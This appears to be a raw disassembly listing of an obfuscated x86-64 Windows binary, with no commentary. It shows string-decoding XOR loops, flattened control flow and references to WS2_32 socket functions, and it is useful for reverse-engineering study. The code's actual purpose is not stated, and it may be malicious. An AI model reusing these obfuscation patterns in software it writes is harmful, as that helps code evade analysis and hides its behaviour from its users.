add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
jmp 0x14018c0a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018c247
movabs rcx, 0x882f049665bd85ea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x14018c71b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018c273
movabs rcx, 0x33a135c94adbc36e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x14018c69a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018c2a4
movabs rdx, 0xdf1366fc2ffa00f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14018c65b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018c2d3
movabs rcx, 0x8a85982f15183e76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
dec rdi
jmp 0x14018c729
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018c0a8
movabs rdx, 0x603eb0c887a75d38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
jmp 0x14018c729
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018c33e
movabs rdx, 0xcc4686e1989c48df
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x19
add r11b, dl
jmp 0x14018c5e4
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018c36d
movabs rcx, 0x77b8b8147dba8663
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4b
dec rdi
jmp 0x14018c729
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018c39a
movabs rdx, 0xce9d1a7a47f7016b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x13
jmp 0x14018c697
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018c02a
movabs rdx, 0xa4563313ba86202d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3b
add r11b, dl
jmp 0x14018c6c8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018c3ff
movabs rdx, 0x105e092ccb7b0bd4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14018c71b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018c42b
movabs rcx, 0x67426b9295b786dc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
jmp 0x14018c65b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018c458
movabs rdx, 0x3cfb842c0846a59e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x52
jmp 0x14018c630
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14018c05f
movabs rdx, 0xbe26cdf85ff401e4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x14018c5e4
movabs rdx, 0x6998ff2b45123f68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xc21]
add r11b, dl
add r11b, bl
jmp 0x14018c633
movabs rcx, 0x3f5217c4b7a15e2a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xc21]
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x14018c69a
movabs rdx, 0xf1e04716c757b905
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x23
add r11b, dl
jmp 0x14018c6c8
movabs rdx, 0x1c272e7d54c89a43
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x2b
jmp 0x14018c697
movabs rcx, 0x466e15e3e2397b81
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
jmp 0x14018c65e
movabs rcx, 0xc542cc178a8c1f3b
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x63
dec rdi
jmp 0x14018c729
movabs rcx, 0xef89b37e17fd0079
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4f
inc r9
dec rdi
jmp 0x14018c729
movabs rdx, 0x19d09ae4a56de1b7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
dec r11b
add r11b, dl
jmp 0x14018c5e4
movabs rcx, 0x6e5e69b1c04fa433
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x65
movabs rcx, 0x7ebc72de8bcab007
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x31
add bl, cl
mov byte [rbp + rdi + 0xc21], bl
inc r9
dec rdi
jmp 0x14018c729
movabs rdx, 0xed331fe568a247ed
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7b
add r11b, dl
movabs rdx, 0x54758b77fe59cec9
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7f
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc21], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
jmp 0x14018c729
mov rbx, r10
movabs rdx, 0x6c07d61910f4eba7
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x6f
add r11b, dl
movabs rcx, 0x2a2ea41170e8ed8b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x33
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xc21], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x150b305e2a307cec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x74
add cl, bl
mov byte [rbp + rdi + 0xc21], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
jmp 0x14018c71b
movabs rcx, 0xc095a4e62bd6ae23
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xb
movzx eax, byte [rbp + rdi + 0xc21]
add rax, r9
add rdi, rax
inc rdi
movabs rcx, 0x4417824b32dec2f5
movabs rdx, 0x85c02da899dad9ab
jmp 0x14018bb92
movabs rcx, 0x494e3dc422d7d65
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3d
movabs rcx, 0x4417824b32dec2f5
jmp 0x14018bb90
movabs rcx, 0x2edbcb42cf9e5ea3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x75
movabs rcx, 0x4417824b32dec2f5
jmp 0x14018bb80
lea rdx, [rbp + 0x154614d]
lea rcx, [rbp + 0x18f0]
call fcn.14013a940
jmp 0x14018c84e
lea rdx, [rbp + 0x9bf0ae]
lea rcx, [rbp + 0x18f0]
call fcn.14013a940
jmp 0x14018c84e
lea rdx, [rbp + 0xc21]
lea rcx, [rbp + 0x18f0]
call fcn.14013a940
jmp 0x14018c84e
lea rcx, [rbp - 0x41]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x1870]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1870]
call fcn.14014cf90
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1910]
call fcn.14014d2c0
lea rdx, [rbp + 0x1910]
lea rcx, [rbp + 0x18f0]
call fcn.140135e80
lea rcx, [rbp + 0x1910]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x710]
call fcn.140157830
nop
lea rcx, [rbp + 0x700]
call fcn.140157830
nop
lea rcx, [rbp + 0x1890]
call fcn.14013e780
nop
lea rcx, [rbp + 0x1870]
call fcn.14013e780
nop
mov rcx, r14
call fcn.140135dd0
nop
mov byte [rbp + 0x8f4], 0xd9
mov byte [rbp + 0x8f5], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x8f6], getservbyname
mov byte [rbp + 0x8f7], getservbyname
mov byte [rbp + 0x8f8], gethostbyaddr
mov byte [rbp + 0x8f9], 0xdd
xor eax, eax
mov qword [rbp + 0x8fa], rax
mov dword [rbp + 0x902], eax
mov word [rbp + 0x906], ax
movabs rdi, 0xecd420f975a0a957
movabs rsi, 0x74e9ce11a90f0b89
movabs r13, 0x609c631811cab2bb
movabs r14, 0xb3b107e18579a613
movzx r10d, byte [rbp + 0x5d00]
xor r12d, r12d
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, r12
cmp r11, 0x14
jae 0x14018d653
movzx ebx, byte [rbp + r11 + 0x8f4]
mov rdx, rbx
nop dword [rax]
cmp r8, r11
ja 0x14018d64a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018c95c
lea rcx, [r11 + r13]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x1d
jmp 0x14018c995
je 0x14018d5c6
inc rax
cmp r8, rax
je 0x14018d58f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018d546
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018d51d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018d4f1
cmp r9, r11
ja 0x14018d641
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14018c9c5
lea rdx, [r11 + rdi]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x61
add r10b, dl
jmp 0x14018ca00
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018d49e
inc rax
cmp r8, rax
je 0x14018d475
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018d452
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018d3b4
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14018d052
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14018d02e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018cffd
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018cfcf
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14018cfac
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14018cf86
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018cf5e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018cf39
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018cf12
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14018cedd
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14018ca10
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14018d61e
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14018d5fb
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14018cc03
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14018cbe5
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14018cbc7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14018ce7a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14018ce17
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14018cdcb
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14018cd9d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14018ca10
lea r8, [r9 + 0x20]
lea r9, [r8 + 5]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14018cd68
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14018cd41
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14018cd1c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14018ccf4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14018ccce
lea rdx, [r11 + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x41
add r10b, dl
jmp 0x14018ca00
lea rdx, [r11 + r14]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x7b
add r10b, dl
jmp 0x14018c995
movabs rdx, 0xf27841b161e4409d
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub dl, 0x4b
add r10b, dl
jmp 0x14018c926
movabs rdx, 0xa08528dafb1a4f6a
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14018d5ad
movabs rdx, 0xdf4c62aad784e9f4
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x2a
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14018d3d3
movabs rdx, 0x1e139c7ab3ef847e
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x72
add r10b, dl
jmp 0x14018d408
movabs rcx, 0x5cdad64a905a1f08
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
movabs rcx, 0x79cce6d23764a161
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x59
mov byte [rbp + r11 + 0x8f4], r10b
inc r11
jmp 0x14018c913
movabs rcx, 0xb89420a213cf3beb
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6d
cmp r9, 0x28
jb 0x14018cdbb
movabs rdx, 0x7e4f7b9716c33682
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x1c]
jmp 0x14018d4c0
movabs rdx, 0xf75b5a71f039d675
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x33
add r10b, dl
cmp r8, 0x80
jae 0x14018d35b
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14018d24e
movabs rdx, 0xf217bdb5b2ed3fe6
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x4a
add r10b, dl
jmp 0x14018cde9
movabs rdx, 0x36229441cca470ff
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 7
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x14018d38b
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14018d14f
movabs rdx, 0x5439cbc3d4c968f
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x17
jmp 0x14018ce36
movabs rcx, 0x8cf8c5d8c1c3f80a
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x46
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
movabs rdx, 0xcbbfffa89e2e9294
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x14018d408
movabs rdx, 0xa8739787a992d1e
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x14018d3d3
movabs rdx, 0x494e73485703c7a8
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14018d5ad
movabs rcx, 0x8815ad18336e6232
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5e
add r8, r9
jmp 0x14018d5ad
movabs rcx, 0xc6dce6e80fd8fcbc
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x14018d564
movabs rdx, 0x5a420b7ec439746
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x14018c913
movabs rdx, 0x446b5a87c8ae31d0
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x28
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec r11
inc r11
jmp 0x14018c913
movabs rdx, 0x83329457a518cc5a
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x76
jmp 0x14018d4bd
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14018d076
lea rdx, [r11 + r13]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x1d
jmp 0x14018ce99
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018d0b9
movabs rdx, 0xd9a841f2eb4152ae
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x1f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018d0e5
movabs rcx, 0x1d52948356018310
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x70
jmp 0x14018d5ad
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018d119
movabs rdx, 0xde8b5ab37996e886
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x2b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r8, r9
jmp 0x14018d5ad
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018ce9c
movabs rcx, 0x60fce713c0c1b372
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x1e
dec r11
inc r11
jmp 0x14018c913
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018d17c
movabs rdx, 0xc67c62ec60e1fc05
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x23
jmp 0x14018d4bd
inc rax
cmp r8, rax
jne 0x14018d1b0
movabs rcx, 0x87b5291c8477617b
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5d
inc r9
dec r11
inc r11
jmp 0x14018c913
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018d1dc
movabs rcx, 0x8c9841dd12ccf753
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x45
jmp 0x14018d5ad
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018d20c
movabs rdx, 0xf09ce3d59f7c23f
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x47
add r10b, dl
jmp 0x14018d408
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14018ce39
movabs rcx, 0xd042946d7d8d27b5
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0xd
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018d291
movabs rdx, 0xb35083e5d682a55c
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018d2c2
movabs rdx, 0x35c210461dad7048
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14018d3d6
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018d2f3
movabs rdx, 0x796c62d6886da0aa
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, 0x2d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x14018d564
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018d32a
movabs rdx, 0x3aa52906ac030620
add rdx, r11
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec r11
inc r11
jmp 0x14018c913
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018cde9
movabs rdx, 0xbd16b566f32dd10c
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x54
jmp 0x14018d4bd
movabs rdx, 0x3f8841c73a589bf8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0x1c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + r11 + 0x8f4]
add r10b, dl
add r10b, bl
jmp 0x14018d564
movabs rdx, 0xc107f75dee016e
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, byte [rbp + r11 + 0x8f4]
sub r10b, 2
jmp 0x14018d3d3
movabs rdx, 0x35618c4a6eb66f91
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 9
add r10b, dl
movabs rdx, 0x615d6b0f6fb8b429
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x1f
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x8f4], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0xc1f9ce27818366e4
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x3c
add bl, cl
mov byte [rbp + r11 + 0x8f4], bl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
movabs rcx, 0x7428c61a4b210a1b
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x43
jmp 0x14018d5ad
movabs rcx, 0x307e7389e060d9b9
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0xf
dec r11
inc r11
jmp 0x14018c913
movabs rdx, 0xae0ce72999360ecd
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x65
add r10b, dl
movabs rcx, 0xdeebdeaf288de93d
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x55
add cl, bl
mov byte [rbp + r11 + 0x8f4], cl
inc r9
dec r11
inc r11
jmp 0x14018c913
movabs rcx, 0x6a6294992e75de6b
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x13
inc r9
dec r11
inc r11
jmp 0x14018c913
movabs rcx, 0xa929ce690ae078f5
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x4d
dec r11
inc r11
jmp 0x14018c913
movabs rcx, 0xe7f10838e74b137f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x79
movabs rcx, 0xa024a4df4c234eb3
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
add bl, 0x1b
add bl, cl
add bl, r10b
mov byte [rbp + r11 + 0x8f4], bl
add r8, r9
jmp 0x14018d5ad
movabs rcx, 0x657f7bd8a0204893
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 5
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018c913
movabs rcx, 0x21d5294835601831
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x57
movzx eax, byte [rbp + r11 + 0x8f4]
add rax, r9
add r11, rax
inc r11
jmp 0x14018c913
movabs rcx, 0x313f7b813e4edb27
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x11
jmp 0x14018c910
movabs rcx, 0x7006b5511ab975b1
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x29
jmp 0x14018c900
lea rdx, [rbp + 0x1701e98]
jmp 0x14018d65a
lea rdx, [rbp + 0xbad153]
jmp 0x14018d65a
lea rdx, [rbp + 0x8f4]
lea rcx, [rbp + 0x18f0]
call fcn.1401a7310
test al, al
je 0x14018d700
lea rdx, [rbp + 0x410]
lea rcx, [rbp - 0x40]
call fcn.1401a1af0
cmp byte [rbp + 0x41e], r12b
je 0x14018d6d2
mov r8d, r12d
lea r9, [rbp + 0x410]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14018d6a0
lea rcx, [rbp + 0x410]
call fcn.14014cf40
mov qword [rbp + 0x410], r12
mov dword [rbp + 0x418], r12d
mov word [rbp + 0x41c], r12w
mov byte [rbp + 0x41e], r12b
jmp 0x1401a1412
lea rdx, [rbp + 0x18f0]
lea rcx, [rbp + 0x1930]
call fcn.140135eb0
mov rdx, rax
lea rcx, [rbp + 0xa38]
call fcn.140138930
nop
lea rcx, [rbp + 0xa38]
call fcn.1401353f0
mov qword [rbp - 8], rax
lea rcx, [rbp + 0xa38]
call fcn.140135ba0
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x1470]
call fcn.140135dc0
mov rcx, rax
call fcn.140147220
test r15b, r15b
jne 0x14018d7f2
test eax, eax
je 0x14018d87b
lea rdx, [rbp + 0x960]
lea rcx, [rbp - 0x3f]
call fcn.1401a1b20
cmp byte [rbp + 0x976], r15b
je 0x14018d7c2
lea r8, [rbp + 0x960]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x17
jl 0x14018d790
lea rcx, [rbp + 0x960]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x960], xmm0
mov dword [rbp + 0x970], eax
mov word [rbp + 0x974], ax
mov byte [rbp + 0x976], al
jmp 0x1401a1405
test eax, eax
jne 0x14018d87b
lea rdx, [rbp + 0x930]
lea rcx, [rbp - 0x3e]
call fcn.1401a1b50
cmp byte [rbp + 0x944], 0
je 0x14018d852
lea r8, [rbp + 0x930]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x14018d820
lea rcx, [rbp + 0x930]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x930], xmm0
mov dword [rbp + 0x940], eax
mov byte [rbp + 0x944], al
jmp 0x1401a1405
cmp byte [rbp - 0x74], 0
je 0x14018d88e
cmp byte [rbp - 0x57], 0
mov byte [rbp + 0x360], 1
jne 0x14018d895
mov byte [rbp + 0x360], 0
movzx eax, byte [rbp - 0x56]
mov byte [rbp + 0x362], al
xor eax, eax
mov word [rbp + 0x36a], ax
lea rdx, [0x1404e9e50]
lea rcx, [rbp + 0x1430]
call fcn.14014d3f0
test al, al
je 0x14019765a
call fcn.140167390
lea rax, [rbp + 0x1950]
mov qword [rbp + 0x5d10], rax
